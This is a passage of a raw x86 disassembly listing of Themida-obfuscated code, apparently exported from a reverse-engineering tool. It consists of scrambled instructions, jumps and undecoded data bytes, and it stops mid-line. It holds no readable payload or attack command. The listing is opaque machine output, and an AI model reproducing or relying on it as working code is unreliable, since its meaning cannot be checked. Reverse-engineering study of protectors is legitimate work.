mov edx, 6CA06975h jmp loc_562B68 ; --------------------------------------------------------------------------- aS7i db '\é7ë',0 align 4 loc_554804: ; CODE XREF: Themida_:00567829j mov [esp], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_55F725 ; --------------------------------------------------------------------------- aWhsu db 'Wh‘u',0 dd 4EC8300h, 6EA4E954h, 83580000h, 1C3304EBh, 241C3124h dd 5C241C33h, 83241489h, 3C8904ECh, 27ECBF24h, 7C312B4Ah dd 0BCE90424h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55484B: ; CODE XREF: Themida_:00554DADj xchg esi, [esp] pop esp jmp loc_55EA7A ; --------------------------------------------------------------------------- dd 4C481h, 0E72C0000h, 0C4E9E9h db 0 ; --------------------------------------------------------------------------- loc_554861: ; CODE XREF: Themida_:0056165Fj xor bl, dh pop edx and bl, 95h sub bl, 40h xor ch, bl jmp loc_55E81A ; --------------------------------------------------------------------------- loc_554871: ; CODE XREF: Themida_:0056693Dj sub ebp, 4 xchg ebp, [esp] jmp loc_564755 ; --------------------------------------------------------------------------- align 10h dd 1AE5E9F0h db 1, 0 ; --------------------------------------------------------------------------- loc_554886: ; CODE XREF: Themida_:005626EBj mov ebp, 52200648h push ebp neg dword ptr [esp] pop ebp jmp loc_55AE6C ; --------------------------------------------------------------------------- db 29h, 0D3h, 5Ah dd 8CFFE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55489E: ; CODE XREF: Themida_:005536ACj push ebx jmp loc_567240 ; --------------------------------------------------------------------------- aIH1e db '‰<$h1e',0 align 4 dd 81242489h, 42404h, 0E95F0000h, 8327h, 1C8BDF89h, 0E1895124h dd 0FFC8E9h, 5E08900h, 4, 405h, 0F6BDE900h, 0EB010000h dd 4EC815Dh, 89000000h, 3B9240Ch, 3107DE6Bh, 0C38159CBh dd 56337E11h, 0A5E94093h, 560000CEh, 0C681E689h, 4, 8704C683h dd 8F5C2434h, 0CDE92404h, 5C0000CEh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx sub esp, 4 mov [esp], edi push ecx mov ecx, 6B6D7B6Eh mov edi, ecx pop ecx mov ebx, 3C9E6A33h xor ebx, edi jmp loc_5576AF ; --------------------------------------------------------------------------- db 31h, 14h, 24h dd 0A554E9h, 4C68100h, 0E9000000h, 10089h, 0E2D2E95Eh dd 8B66FFFFh, 0B668240Ch, 89000054h, 5954240Ch, 33C7E956h db 1, 0 ; --------------------------------------------------------------------------- loc_55497A: ; CODE XREF: Themida_:0055619Dj pop ebp sub ebp, 15D5D2Ah pop edx push ebx mov ebx, 27BA3FADh sub ebx, 1F443855h jmp loc_554D17 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832414h, 4EC8104h, 0E9000000h, 14D5h, 0E959CA29h dd 2A16h ; --------------------------------------------------------------------------- loc_5549AC: ; CODE XREF: Themida_:0055C61Aj mov ebp, [esp] add esp, 4 xor ebp, 1EDF5E63h push eax mov eax, ebp jmp loc_55FCCD ; --------------------------------------------------------------------------- dd 84C30BFh, 0F7814F38h, 0CC5489Dh, 0E903EFC1h, 0FFFFEF7Bh dd 2C8BE921h, 0E0895024h, 9ADCE9h db 0 ; --------------------------------------------------------------------------- loc_5549E1: ; CODE XREF: Themida_:0056243Ej xor ecx, 12906296h dec ecx xor ecx, 64585435h sub esp, 4 mov [esp], ebp mov ebp, 0FA4DE73Ch sub ecx, 1D3C7C23h add ecx, ebp add ecx, 1D3C7C23h pop ebp push 3476h jmp loc_553809 ; --------------------------------------------------------------------------- loc_554A15: ; CODE XREF: Themida_:0055E2B5j add edi, 5CC70445h inc edi not edi and edi, 2FEE4379h sub edi, 76221487h xor edi, 2AA88B5Ch xor esi, edi pop edi add edx, esi jmp loc_567076 ; --------------------------------------------------------------------------- dw 0B850h dd 0E7B7628h, 7907F50Dh, 61D80527h, 54074B8h, 0A021941Eh dd 8158C321h, 0E7765BF3h, 733B053Fh, 5BE95018h db 0BCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554A63: ; CODE XREF: Themida_:0055378Bj push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push esi mov esi, esp jmp loc_55FB52 ; --------------------------------------------------------------------------- dw 0BA52h dd 4, 815AD601h, 4EEh, 24348700h, 2414895Ch, 0D12667BAh dd 9FE6BB1Dh, 0D3293DC7h, 0E924148Bh, 11978h, 8B2434FFh dd 0C481243Ch, 4, 81E78957h, 4C7h, 4BB5300h, 1000000h dd 59F8E9DFh, 14890000h, 39E95324h db 4Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_554AC7: ; CODE XREF: Themida_:005617C3j pop esi push dword ptr [esp] pop eax push esi push esp pop esi jmp loc_553AE6 ; --------------------------------------------------------------------------- dd 8159CB89h, 0C004EFF3h, 5BD9296Bh, 4EC81h, 0C890000h dd 2474FF24h, 0A2E95904h, 83FFFFEAh, 3C8904ECh, 56E78924h dd 4BEh, 5EF70100h, 4BE56h, 0F7290000h, 301DE95Eh, 2CB80001h dd 313D8833h, 24048BC3h, 5E96E9h, 81E78900h, 4C7h, 7B95100h dd 0C17EB92Fh, 814104E9h, 0EB92EDE9h, 59CF0107h, 2474FF57h dd 48F5F04h, 8EE95C24h, 810000CFh, 4C3h, 4BA5200h, 29000000h dd 0E4E95AD3h, 68000084h, 298h, 56240C89h, 0EF0226BEh dd 565AE93Ch, 0C7810000h, 4, 8B243C87h, 0EB812424h, 6E535543h dd 57B2EB81h, 0C3015B01h, 57B2C381h, 0EC815B01h, 4, 51243C89h dd 0E5614FB9h, 0EB95125h, 0BF7D8600h, 0AED715C8h, 35E9CF01h db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554BB3: ; CODE XREF: Themida_:00562099j push dword ptr [esp] pop eax jmp loc_552E50 ; --------------------------------------------------------------------------- aAS2 db '€Ãêé;2',0 align 4 loc_554BC4: ; CODE XREF: Themida_:00562418j mov edx, 653A2DAFh mov edi, 0F4E926EAh add edi, edx pop edx add dword ptr [esp+4], 6B841209h add [esp+4], edi jmp loc_555389 ; --------------------------------------------------------------------------- dw 0B951h dd 134A3892h, 8159CE29h, 24488FC6h, 0E9C60159h, 0FFFFEEFAh dd 775FF181h, 0E9C179E6h, 0ADF18108h, 81686E86h, 0BB7F85EDh dd 81CD0109h, 0BB7F85C5h, 0ED815909h, 2B1547F3h, 0C583C581h dd 0EB29920Bh, 8E9FE9h, 246C8100h, 190E2D04h, 95B2E92Bh dd 9660000h, 48B66C6h, 2C48324h, 0BF665766h, 81662BBEh dd 667CB6C6h, 0C2EEE81h, 55FE0166h, 6111E9h, 22BB5300h dd 1207802h, 0C6815BDEh, 5E1209E0h, 8541E9h, 0BE565E00h dd 1CEE572Ah, 0A7734905h, 2DF02936h, 36A77349h, 2FBD555Eh dd 5034AA16h, 0A58DE9h, 4C48300h, 0EF4E953h, 0F5810000h dd 4EA555B3h, 815DEA21h, 460E61F2h, 8BD63149h, 0E7E92414h dd 590000C4h, 370DE957h, 0C8B0000h, 0FFCFE924h, 0B951FFFFh dd 0DF56EE9h, 8159CD89h, 0D8EB82C5h, 5DEE015Fh, 0B3E9C601h dd 30000015h, 24048BE7h, 8004C483h, 0A8E93BE9h, 100009Eh dd 0BE95DEEh, 5F0000D4h, 0ED81E5D1h, 109AB1C0h, 685DE801h dd 3A68h, 0E9240489h, 0E3BFh, 1F80C981h, 0C1833D14h, 81E951FFh db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554D17: ; CODE XREF: Themida_:0055498Ej neg ebx sub ebx, 2562480Eh add ebx, 0E1E256Dh add ebx, 67C5B9F1h mov esi, ebx pop ebx push ecx jmp loc_5609D1 ; --------------------------------------------------------------------------- loc_554D34: ; CODE XREF: Themida_:005630A4j push ebx mov ebx, 4 push ebp jmp loc_553B71 ; --------------------------------------------------------------------------- loc_554D40: ; CODE XREF: Themida_:0055759Aj add esp, 4 neg eax dec eax push eax not dword ptr [esp] pop eax add eax, 0A861C575h add eax, 115B1A94h add eax, 737AABh add eax, edi sub eax, 737AABh sub eax, 115B1A94h push dword ptr [eax] jmp loc_5591B3 ; --------------------------------------------------------------------------- db 59h, 81h, 0C1h dd 69126B73h, 0E981D101h, 69126B73h, 240C335Ah, 33240C31h dd 37E9240Ch db 2Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554D8B: ; CODE XREF: Themida_:0055CC30j mov ebp, 4 add ecx, 3B91B3Dh add ecx, ebp sub ecx, 3B91B3Dh mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_55484B ; --------------------------------------------------------------------------- dw 0EB28h dd 5EEB8059h, 0FFC0B60Fh, 0CEE98734h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554DC3: ; CODE XREF: Themida_:00564EB6j add ebp, ebx pop ebx jmp loc_5581DF ; --------------------------------------------------------------------------- db 89h dd 18E957E3h, 3400010Eh, 58C2880Ah, 148BD730h, 4C48124h dd 0 dd 2434FFF8h, 5954515Bh, 4C181h, 0C1830000h, 74FF5104h dd 0C8B0424h, 4C48124h, 8F000000h, 665C2404h, 0E94FD068h dd 4EDBh, 67FF6855h, 0C15D483Fh, 696802E5h, 89000053h dd 0FF68240Ch, 59FFFFFFh, 640CED81h, 0CD015D9Ah, 640CC581h dd 0C8B5D9Ah, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h dd 774EE9h db 0 ; --------------------------------------------------------------------------- loc_554E51: ; CODE XREF: Themida_:005563D5j shl al, 2 jmp loc_5668EB ; --------------------------------------------------------------------------- loc_554E59: ; CODE XREF: Themida_:00556E34j xor edi, 0DD28D95Fh jmp loc_565B45 ; --------------------------------------------------------------------------- dd 5366D6F6h, 0C688F388h, 0E146E9h, 81EB0100h, 0A12C37C3h dd 0C9EB8104h, 8B7A1770h, 0D0E9242Ch, 8800006Dh, 5AF788EEh dd 80CFFE59h, 1BE901EFh, 810000AAh, 6F2D32F5h, 107EE957h dd 0C4810000h, 4, 50E18951h, 1E32BA52h, 0B3E9159Eh, 5F000058h dd 575EF331h, 9158C6BFh, 9EF78116h, 8112F32Ch, 541481C3h dd 0BE71E91Eh, 0E1D10000h, 4BE8C981h, 0BAE92884h, 8D00010Eh dd 0BE688704h, 89000030h, 0E0892404h, 5C6D68h, 240C8900h dd 0C22EE9h, 4AEC8000h, 0FFFDD6E9h, 240489FFh, 0F7EFE954h dd 92250000h, 0C13ADC5Ch, 0A12D02E8h, 89C5E0E7h, 24048BC2h dd 8304C483h, 21E901EAh, 58000029h, 0D107EBC1h, 5AC381E3h dd 1FE98F2h, 241C8BDEh, 83E08950h, 35E904ECh db 74h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554F43: ; CODE XREF: Themida_:0055E2FEj pop esp push dx push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_5573FD ; --------------------------------------------------------------------------- db 52h, 0BAh, 12h dd 8141CB4Eh, 8C7801EFh, 81D72927h, 8C7801C7h, 0FFB3E927h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554F7A: ; CODE XREF: Themida_:0055B423j push 6A09h mov [esp], edx mov edx, 1 sub ecx, edx pop edx jmp loc_55C213 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24048900h, 933EAFB8h, 4B85066h, 0D756412h, 7E2A6FF5h dd 548D0F7h, 7DE64C1Ch, 0A405D8F7h, 0E95F12D8h, 4B2h ; --------------------------------------------------------------------------- loc_554FBC: ; CODE XREF: Themida_:005573BDj pop edx xor ch, al push dword ptr [esp] pop eax add esp, 4 jmp loc_55B960 ; --------------------------------------------------------------------------- dw 0BD55h dd 5DA2301Dh, 0B6E9D5F7h, 53FFFFEEh, 0C3F5E9h, 81D7F700h dd 0D253A3E7h, 1AF78161h, 293C9B6Ah, 0F5015FFEh, 0B0F9E95Eh dd 48F0000h, 24248B24h, 24048B66h, 3C916857h, 24890000h dd 0E2895224h, 11C44E9h db 0 ; --------------------------------------------------------------------------- loc_555015: ; CODE XREF: Themida_:0055E955j push edi mov edi, 4 jmp loc_563182 ; --------------------------------------------------------------------------- loc_555020: ; CODE XREF: Themida_:00556AA4j sub dword ptr [esp+4], 7F673F3Fh jmp loc_55D571 ; --------------------------------------------------------------------------- aRs_1 db 'Ré$',8,0 db 0 ; --------------------------------------------------------------------------- loc_555033: ; CODE XREF: Themida_:00564F77j add ebp, ebx sub ebp, 32483B5Eh jmp loc_5598E8 ; --------------------------------------------------------------------------- dd 3A7BC281h, 0D5011A92h, 9FE0E9h, 4C48300h, 4C381h, 18E90000h db 0FEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55505B: ; CODE XREF: Themida_:00558625j add edi, 34270CCh and edi, 0FF366A8h push ebx jmp loc_5657DB ; --------------------------------------------------------------------------- loc_55506D: ; CODE XREF: Themida_:005677B9j mov eax, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_55C950 ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 4C48359h, 4EC81h, 14890000h, 815A5424h, 4C2h dd 5FB6E900h, 0E1880000h, 0FFE7B9E9h, 0E9F001FFh, 0FFFFFBC1h dd 5358C601h, 8B65DEBBh, 15B85052h, 9795A36h, 24048BC3h dd 0E904C483h, 11FA0h, 207F83ADh, 0FC840F00h, 57000097h dd 2466BBBFh, 34E95243h, 31000088h, 0A2E955F1h db 0B5h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5550E7: ; CODE XREF: Themida_:0055C340j pop ebx jmp loc_554771 ; --------------------------------------------------------------------------- db 81h, 0C6h, 8Fh dd 811A3E17h, 460D38C6h, 35EE8159h, 8B2D1B30h, 0C483243Ch dd 0DD78E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55510A: ; CODE XREF: Themida_:0056812Cj xor ebp, [esp] jmp loc_559187 ; --------------------------------------------------------------------------- loc_555112: ; CODE XREF: Themida_:00567D92j add ebp, 4A146A0Ch sub ebp, ecx jmp loc_555C42 ; --------------------------------------------------------------------------- a5Mqqsh db '5(mqQéHÎ',0 dd 0DB0AE900h, 0E689FFFFh, 4C681h, 0C6810000h, 4, 446BE9h db 0 ; --------------------------------------------------------------------------- loc_555141: ; CODE XREF: Themida_:0055F11Bj sub esp, 4 mov [esp], ecx jmp loc_56431B ; --------------------------------------------------------------------------- loc_55514F: ; CODE XREF: Themida_:0055B6B4j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_5678C0 ; --------------------------------------------------------------------------- loc_555161: ; CODE XREF: Themida_:00556D0Fj or edx, eax shl edx, 1 jmp loc_5559BF ; --------------------------------------------------------------------------- loc_55516A: ; CODE XREF: Themida_:00555E4Bj mov ecx, 514704A5h sub edx, ecx pop ecx mov ecx, edx push dword ptr [esp] jmp loc_55B2D5 ; --------------------------------------------------------------------------- loc_55517C: ; CODE XREF: Themida_:0055F684j sub esp, 4 mov [esp], edi jmp loc_55D36C ; --------------------------------------------------------------------------- aSL db 9,'ÃéÄ‹',0 dd 4BA00h, 0D1010000h, 240C875Ah, 6DCA685Ch, 2FE90000h dd 5C00006Fh, 6DBAE952h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5551AE: ; CODE XREF: Themida_:00566977j push eax mov eax, 7CA563C2h push ebx jmp loc_55C438 ; --------------------------------------------------------------------------- loc_5551BA: ; CODE XREF: Themida_:00555BFAj pop esp mov ebx, [esp] add esp, 4 add [esp+4], eax mov eax, [esp] add esp, 4 mov edx, [esp] add esp, 4 push ebp push ebx mov ebx, 5FD00AD5h mov ebp, 0C8C24B06h jmp loc_55E384 ; --------------------------------------------------------------------------- db 5Fh dd 4C781h, 0C7830000h, 74FF5704h, 8F5F0424h, 248B2404h dd 24048F24h, 6424248Bh, 29E90288h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55520F: ; CODE XREF: Themida_:00561C08j dec ecx jmp loc_55F97F ; --------------------------------------------------------------------------- loc_555215: ; CODE XREF: Themida_:00553E56j push ebp mov ebp, 63A602C8h jmp loc_55A6F9 ; --------------------------------------------------------------------------- loc_555220: ; CODE XREF: Themida_:00566B31j add ebp, edx pop edx add ebp, 4 push 11E8h mov [esp], ebp jmp loc_553EC5 ; --------------------------------------------------------------------------- dw 8B66h dd 3968240Ch, 8900002Eh, 0EC83243Ch, 24248904h, 4240481h dd 0FF000000h, 815F2434h, 4C4h, 4EC8100h, 0E9000000h, 1FFBh dd 0E2338F0Dh, 2E1D0D46h, 0F3352DD1h, 1237C3Ch, 525A58C6h dd 3E4068h, 241C8900h, 2C52B850h, 0C3892ACAh, 15E38158h dd 835C482Dh, 51E904ECh db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555297: ; CODE XREF: Themida_:0056322Fj mov [esp], eax jmp loc_552C38 ; --------------------------------------------------------------------------- loc_55529F: ; CODE XREF: Themida_:00556DD2j xchg eax, [esp] pop esp mov [esp], ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp jmp loc_5604E7 ; --------------------------------------------------------------------------- loc_5552BD: ; CODE XREF: Themida_:005538F1j xor ebx, edx pop edx or ebx, 37F9160Bh shl ebx, 1 xchg ebp, ebx jmp loc_567452 ; --------------------------------------------------------------------------- db 5Eh dd 8104C483h, 4C6h, 0FAE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5552DE: ; CODE XREF: Themida_:00553D63j mov ah, ch pop ecx push small 0 sub [esp], ah jmp loc_55B4C7 ; --------------------------------------------------------------------------- loc_5552ED: ; CODE XREF: Themida_:00564920j not ebp shl ebp, 4 shr ebp, 8 push edi push edx push ebx mov ebx, 5288577Fh push edi mov edi, 292589Ch or edi, 7C90093Dh inc edi shl edi, 8 push ebx mov ebx, 38781334h jmp loc_5620E6 ; --------------------------------------------------------------------------- dd 2D5BDE29h, 77310C9Dh, 9D05F001h, 0E977310Ch, 1056Dh ; --------------------------------------------------------------------------- loc_55532C: ; CODE XREF: Themida_:00560619j push eax mov ah, 52h inc ah jmp loc_56342D ; --------------------------------------------------------------------------- aZI db '‡<$\‰,$½$',0 dd 27E90000h, 3000005Dh, 0DED8E9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55534E: ; CODE XREF: Themida_:00564146j shl edx, 1 push ecx push 0FFFFFFFFh mov ecx, [esp] push edi jmp loc_5544BC ; --------------------------------------------------------------------------- db 29h dd 0F2E958C3h, 890000CDh, 43682414h, 5A38291Eh, 5004E2C1h dd 995608B8h, 58C20172h, 4171BB53h, 0DA31B6EDh, 0CC04E9h db 0 ; --------------------------------------------------------------------------- loc_555389: ; CODE XREF: Themida_:00554BDDj sub dword ptr [esp+4], 6B841209h pop edi push dword ptr [esp] pop eax jmp loc_55A940 ; --------------------------------------------------------------------------- db 0FFh dd 81582434h, 4C4h, 6CEE8100h, 814C8F03h, 2F5382EEh, 81D60166h dd 2F5382C6h, 0CBE95066h, 5200010Fh, 6BB568B2h, 148BD500h dd 4C48124h, 80000000h, 0E957ECF5h, 42CBh, 4B850h, 0C6810000h dd 4E135E13h, 0E6E9C629h db 0D8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5553EB: ; CODE XREF: Themida_:00560629j sub al, bl jmp loc_553749 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5A0424h, 0E95C2404h, 0FFFFF63Ah, 5E08950h, 4, 8704E883h dd 248B2404h, 14F0E924h, 0C4830000h, 245E6804h, 1C890000h dd 4B95124h, 89000000h, 0DE0159CBh, 0E9241C8Bh, 347Dh ; --------------------------------------------------------------------------- loc_555434: ; CODE XREF: Themida_:0056630Fj add edx, 4 sub esp, 4 mov [esp], edx jmp loc_557AAA ; --------------------------------------------------------------------------- dw 0F930h dd 2C77045Bh, 81C800BFh, 4ECh, 240C8900h, 0E980D7B1h, 5EABE918h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55545E: ; CODE XREF: Themida_:0055735Bj mov eax, [esp] jmp loc_565C77 ; --------------------------------------------------------------------------- loc_555466: ; CODE XREF: Themida_:00556CF5j xchg esi, [esp] jmp loc_554301 ; --------------------------------------------------------------------------- dw 0C689h dd 0E92434FFh, 0AE35h, 0C5DAC581h, 0EC8109C5h, 4, 89241C89h dd 78DF68EBh, 4890000h, 89D88924h, 0FF5B58C7h, 535D2434h dd 0C381E389h, 4, 4C381h, 1C870000h, 0F8215C24h db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp or eax, eax jz loc_566805 push 3643h jmp loc_552CCF ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 815B5453h, 4C3h, 4C38300h, 31241C33h, 90E9241Ch db 0B9h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5554EF: ; CODE XREF: Themida_:00565C3Fj inc ebp push edx mov edx, 73005D61h or ebp, edx jmp loc_55A46A ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0FFD733E9h, 59CD01FFh, 82E9DDF7h, 1000007h, 0F1815DE9h dd 60716A77h, 6EF8BB53h, 0D9217F8Bh, 1F27E95Bh, 0D6010000h dd 0F2015A5Ah, 8124348Bh, 4C4h, 24143300h, 0FFF410E9h dd 7C380FFh, 2641E9h db 0 ; --------------------------------------------------------------------------- loc_555545: ; CODE XREF: Themida_:00567D07j mov ecx, 4 add ebx, ecx pop ecx xchg ebx, [esp] jmp loc_565215 ; --------------------------------------------------------------------------- loc_555555: ; CODE XREF: Themida_:00566E6Ej dec ebx inc ebx sub ebx, 4BB8005Fh xor ebx, 40F469A9h add ebp, ebx jmp loc_564F76 ; --------------------------------------------------------------------------- dw 0BD55h dd 246360A5h, 565DE889h, 0F010DBEh, 0E9DEF753h, 1055Eh ; --------------------------------------------------------------------------- loc_555580: ; CODE XREF: Themida_:005627FDj xor ebx, eax xor eax, ebx sub esp, 4 mov [esp], ebx push ebp jmp loc_5636F1 ; --------------------------------------------------------------------------- loc_555590: ; CODE XREF: Themida_:0056034Dj pop eax push eax mov eax, 281673EDh push edi mov edi, 0F4B84A4Ah add eax, edi jmp loc_553D32 ; --------------------------------------------------------------------------- dd 0C263B5BEh, 20EE8168h, 211B9DE9h, 0ED815EF5h, 5DFFDBDh db 29h, 0EFh, 5Dh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_558590 ; --------------------------------------------------------------------------- dw 0C681h dd 4, 4C681h, 34870000h, 48B5C24h, 0E7895724h, 4C781h dd 0C7830000h, 243C8704h, 0D37CE95Ch, 4830000h, 685F0424h dd 5434h, 54240489h, 40558h, 0E8830000h, 24048704h, 0FCA2E9h dd 5DEB0100h, 40B3BF57h, 0F7813924h, 392440B1h, 3C8BFB01h dd 0E6895624h, 0BA2CE9h db 0 ; --------------------------------------------------------------------------- loc_555635: ; CODE XREF: Themida_:00561872j add esp, 4 push edx not dword ptr [esp] pop edx xchg edx, ebx sub ebx, 75D27DE7h and eax, ebx mov ebx, [esp] add esp, 4 jmp loc_55723C ; --------------------------------------------------------------------------- db 31h, 0DDh, 5Bh dd 0FFE9B7E9h db 0FFh ; --------------------------------------------------------------------------- loc_55565D: ; CODE XREF: Themida_:0055AFECj xor eax, esi mov esi, [esp] add esp, 4 and ecx, eax mov eax, [esp] jmp loc_56657E ; --------------------------------------------------------------------------- loc_555672: ; CODE XREF: Themida_:00556E26j pop edx add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] pop edi push edx push edx push 770h mov [esp], esp push ebx mov ebx, 4 sub dword ptr [esp+4], 20F215DEh add [esp+4], ebx add dword ptr [esp+4], 20F215DEh pop ebx pop edx jmp loc_561A42 ; --------------------------------------------------------------------------- loc_5556AE: ; CODE XREF: Themida_:00565224j or ebx, 59F60218h jmp loc_5544DB ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 87000000h, 248B2434h, 2BB5324h, 81000000h, 0D859C8EAh dd 8DC28115h, 15C2D1Fh, 8DEA81DAh, 575C2D1Fh, 539E956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5556E6: ; CODE XREF: Themida_:00556CE1j pop dword ptr [esp] pop esp jmp loc_564AE4 ; --------------------------------------------------------------------------- dd offset dword_596D68 align 4 dd 89241C89h, 4C381E3h, 0E9000000h, 12253h, 0FFD52FE9h dd 0D8285AFFh, 4468B604h, 0E900003Ch, 0BF4Ch, 2812BA52h dd 0D60965CAh, 8124148Bh, 4C4h, 3442E900h, 555E0000h, 468h dd 0A7BCE900h, 0EA810000h, 37CD0411h, 0FC4BB951h, 0CA29CA34h dd 24448159h, 0D553004h, 246C8105h, 0EB4F4B04h, 24448102h dd 326D9204h, 24540152h, 246C8104h, 326D9204h, 24448152h dd 0EB4F4B04h, 30B95102h, 29050D55h, 5908244Ch, 2633E9h dd 0D92CAC00h, 0AF2C182Ch, 47E9D828h, 89000024h, 0B850240Ch dd 0BD751CFh, 2A694F05h, 0DE0D157h, 76E5B31h, 0FFDDC0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5557AD: ; CODE XREF: Themida_:00553527j pop ebp and edx, 39E556F7h shr edx, 5 add edx, 4EF520D2h add edx, 251CE567h add ecx, edx jmp loc_567B46 ; --------------------------------------------------------------------------- dw 0EB00h dd 83240C8Bh, 0DBF604C4h, 0C007E3C0h, 516605E3h, 0E904EC83h dd 10F64h ; --------------------------------------------------------------------------- loc_5557E4: ; CODE XREF: Themida_:0055D895j mov edi, 12CD2E41h jmp loc_55363F ; --------------------------------------------------------------------------- dw 505Bh dd 0EC8012B4h, 63B668DCh, 14890000h, 0E919B624h, 84C6h dd 3EA6C281h, 0ADE958F3h, 8300003Ch, 48704C0h, 24248B24h dd 0FFD41BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55581D: ; CODE XREF: Themida_:0055BF43j movsx ecx, ax push 4DCCh mov [esp], ecx jmp loc_552C38 ; --------------------------------------------------------------------------- db 31h, 0C3h, 58h dd 1C8BD821h, 4C48324h, 0D308405h, 71802D15h, 0C7017E10h dd 8B2434FFh, 0C4812404h, 4, 92E95450h, 0B20000E0h, 8FEE9D2h db 1, 0 ; --------------------------------------------------------------------------- loc_55585E: ; CODE XREF: Themida_:00555EA2j add [esp+4], eax sub dword ptr [esp+4], 545837F5h jmp loc_55AAEB ; --------------------------------------------------------------------------- loc_55586F: ; CODE XREF: Themida_:0055646Ej xchg ebp, [esp] pop esp add edx, eax push 6BABh mov [esp], ecx sub esp, 4 mov [esp], edi mov edi, 23F9742Ch not edi jmp loc_55C20D ; --------------------------------------------------------------------------- db 0B9h dd 1B0C586Dh, 0D1E9CD09h, 29000013h, 24048BC5h, 4C481h dd 0C7810000h, 74DD6C02h, 0F1D6E9h, 241C8900h, 0FFF512E9h db 0FFh ; --------------------------------------------------------------------------- loc_5558B9: ; CODE XREF: Themida_:0055FB57j mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_564340 ; --------------------------------------------------------------------------- db 68h dd 6E85566Ah, 6E0C158h, 6F444A2Dh, 8BD4E995h, 0C290000h dd 4EC8124h, 89000000h, 0C5BD242Ch, 294B0753h, 5D04246Ch dd 0E07EE9h db 0 ; --------------------------------------------------------------------------- loc_5558FD: ; CODE XREF: Themida_:005534F7j add edx, 144EB66Ah xor ecx, edx pop edx shr ecx, 3 and ecx, 41E53C0Eh sub esp, 4 jmp loc_55C6B5 ; --------------------------------------------------------------------------- db 64h dd 0DFE932FFh, 8900008Fh, 7FE92414h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_555927: ; CODE XREF: Themida_:00567809j mov esi, 4738356Ch or esi, 35907F6Bh shl esi, 2 neg esi inc esi jmp loc_55EBA9 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aHa_ db '$h _',0 align 2 dw 3C89h dd 81E78924h, 4ECh, 242C8900h, 0E29AEBDh, 0D5F74569h, 0BB33E9h dd 4BA00h, 0CAE90000h, 81000049h, 462BE7EDh, 32ED8108h dd 29C9F514h, 0AEE95DE8h, 8BFFFFFEh, 0C483241Ch, 5CCD8104h dd 81622E58h, 1D58B5C5h, 0CCF5814Dh, 5649B255h, 0EF6D25BEh dd 25EE813Dh, 0F7651833h, 2EEC1D6h, 4F0CCE81h, 0C6816E06h dd 420463D1h, 0CEEFF681h, 0AE998C6h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5559BF: ; CODE XREF: Themida_:00555165j sub esp, 4 mov [esp], ebx mov ebx, 21B61325h push edi jmp loc_55CE4A ; --------------------------------------------------------------------------- loc_5559D0: ; CODE XREF: Themida_:0056561Ej pop edi sub esp, 4 mov [esp], edi jmp loc_55A21D ; --------------------------------------------------------------------------- a_s db '_é\¶',0 align 2 dw 535Eh dd 86DC7BBh, 0B8E38117h, 81373D19h, 590617F3h, 50C78160h dd 12EC70Ah, 50EF81DFh, 5B2EC70Ah, 8CE9EF01h, 890000E9h dd 25E9240Ch, 81FFFFD2h, 4C4h, 45E96800h, 14890000h, 2E14BA24h dd 26E94E61h, 0B90000FCh, 56F63E3Ah, 8103E1C1h, 0AF0859F1h dd 0D64FE901h, 0D2F70000h, 95C2E9h, 0FBF58100h, 817E5755h dd 616A03F5h, 5DEE013Ch, 5604C683h, 42474FFh, 4FA0E95Eh dd 0E8010000h, 4875D5Dh, 24248B24h, 6824048Bh, 6442h, 0FFFE38E9h dd 5078BBFFh, 5C314440h, 0E95B0424h, 2835h, 0D5FF829h dd 54249C9h, 1802505h, 8BC60188h, 89522404h, 4C281E2h dd 83000000h, 0E9E904C2h, 6600003Ch, 8324048Bh, 